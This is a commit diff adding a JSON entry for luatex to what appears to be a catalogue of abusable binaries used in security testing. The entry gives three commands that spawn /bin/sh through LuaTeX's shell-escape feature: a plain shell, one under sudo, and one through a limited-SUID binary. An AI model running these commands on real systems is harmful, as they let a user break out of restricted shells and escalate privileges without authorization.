add data source for luatex

data/luatex.json

@@ -0,0 +1,20 @@
+{
+  "description": "This allows to execute Lua code.",
+  "functions": {
+    "shell": [
+      {
+        "code": "luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
+      }
+    ],
+    "limited-suid": [
+      {
+        "code": "./luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
+      }
+    ]
+  }
+}